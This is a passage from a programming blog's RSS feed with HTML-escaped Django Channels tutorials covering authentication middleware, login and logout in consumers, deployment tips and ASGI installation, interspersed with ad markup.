style=&#34;color:#5af78e&#34;&gt;&amp;#34;websocket&amp;#34;&lt;/span&gt;: AuthMiddlewareStack(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        URLRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            chat&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;routing&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;websocket_urlpatterns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this middleware we will have access to the &lt;em&gt;user&lt;/em&gt; object through the scope in:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_add)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dumps({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; has connected&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;username)}))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have a logged in user you will see something like this when logging in:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/LoggedDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/LoggedDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django channels usuario loggeado&#34; width=&#34;696&#34; height=&#34;281&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;And if you are not logged in you will see an empty string, which corresponds to an anonymous user.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AnonymousDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AnonymousDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Anonymous user in Django channels&#34; width=&#34;576&#34; height=&#34;236&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;login-and-logout-in-django-channels&#34;&gt;Login and logout in django channels&lt;/h2&gt;&#xA;&lt;p&gt;Django channels also provides us with functions to login and logout our users, just remember that &lt;strong&gt;the login function does not authenticate a user, it only logs them in&lt;/strong&gt;, so the checks are up to you.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; asgiref.sync &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; async_to_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; login, logout, get_user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(login)(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope, user)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# It is necessary to save the session&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;session&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(logout)(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope)(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can complicate the sending of information so that it behaves the way you want it to, such as creating different rooms, or condition the sending of messages to a restricted group of users, or only to one of them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tips-for-django-channel-production&#34;&gt;Tips for django-channel production&lt;/h2&gt;&#xA;&lt;p&gt;Before deploying an application that involves channels I will tell you about the many things that can go wrong and how to prevent them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;djangocoreexceptionsappregistrynotready-apps-not-loaded&#34;&gt;django.core.exceptions.AppRegistryNotReady: Apps not loaded&lt;/h3&gt;&#xA;&lt;p&gt;If you are using uvicorn and an asgi application, this is because django tries to use applications that have not yet been loaded. To prevent the error manually load the application yourself before importing any other app.&lt;/p&gt;&#xA;&lt;p&gt;In this particular case, the order of imports DOES matter.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;current_settings &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.settings&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DEBUG &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.dev_settings&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, current_settings)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django_asgi_app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_asgi_application()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# More imports here&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# import app...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: django_asgi_app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;make-sure-you-have-the-websocket-libraries-installed&#34;&gt;Make sure you have the websocket libraries installed.&lt;/h3&gt;&#xA;&lt;p&gt;If you are going to work with websockets, make sure you have all the required libraries installed, uvicorn provides us with these libraries if we install its standard version.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install uvicorn&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;standard&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Otherwise we will get the error _[WARNING] No supported WebSocket library detected.&lt;/p&gt;&#xA;&lt;h3 id=&#34;make-sure-you-are-using-the-correct-websocket-protocol&#34;&gt;Make sure you are using the correct websocket protocol&lt;/h3&gt;&#xA;&lt;p&gt;The error can manifest itself in several ways, one of which is this &lt;em&gt;deploys failing due to &amp;ldquo;unhealthy allocations&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you try to communicate with an insecure protocol to an insecure protocol you will get an error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Your turn to define this&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(serving_using_https){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ws_url &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wss://...&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ws_url &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://...&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;Channel layers allow you to interact and share information with different consumers in django channels. This allows each consumer to communicate with the rest. For example, when in a chat a user sends a message, everyone can read the message, when a user leaves a room, everyone can know that he left it. With this capability it is possible to create a distributed application in which information is shared among the different users.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django channels: consumers, environments and events</title>
      <link>https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/</link>
      <pubDate>Tue, 09 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Why Django channels? Because Django does not allow us to create applications with real-time communication natively. Django channels gives Django the ability to handle protocols that require a persistent connection, such as WebSockets, MQTT, chatbots, while keeping intact its integration with the session system, authentication and the rest of the framework.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django channels places an intermediate layer that is in charge of processing http requests to django views and websocket connections to an http consumer or a websocket consumer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoWsgiChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoWsgiChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of how Django channels work&#34; width=&#34;700&#34; height=&#34;770&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;what-is-a-channel-and-a-websocket&#34;&gt;What is a channel and a websocket?&lt;/h2&gt;&#xA;&lt;p&gt;I recommend that if you have no idea about websockets and channels you give a read to these two concepts because I will use them throughout this post and the next one.&lt;/p&gt;&#xA;&lt;p&gt;If you are in a hurry, you can be satisfied with these definitions, which are simplistic and incomplete:&lt;/p&gt;&#xA;&lt;p&gt;A websocket is a persistent connection that exists between a user&amp;rsquo;s browser and a web server.&lt;/p&gt;&#xA;&lt;p&gt;A channel is a model that allows several processes to communicate with each other by transmitting messages. django-channels owes its name to this concept and the concept is quite similar to what you would find in programming languages such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;django-channels-requires-asgi&#34;&gt;Django channels requires ASGI&lt;/h2&gt;&#xA;&lt;p&gt;Django channels requires us to switch from a WSGI server to an ASGI server, to handle its asynchronous nature.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know what ASGI means, just know that it is an interface for Python to interact with web servers asynchronously.&lt;/p&gt;&#xA;&lt;p&gt;Each time a new user initiates a request an ASGI &amp;ldquo;application&amp;rdquo; will be created and handled, this connection, unlike a normal HTTP request, is persistent.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installation-of-django-channels&#34;&gt;Installation of django channels&lt;/h2&gt;&#xA;&lt;p&gt;First we install channels directly from our favorite package manager, I will use pipenv and the most current version at the date of this article.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install channels[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;daphne&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We add it to our installed applications.&lt;/p&gt;&#xA;&lt;p&gt;Daphne must be on top of all applications, because it takes control of the runserver command to initialize the application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;daphne&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 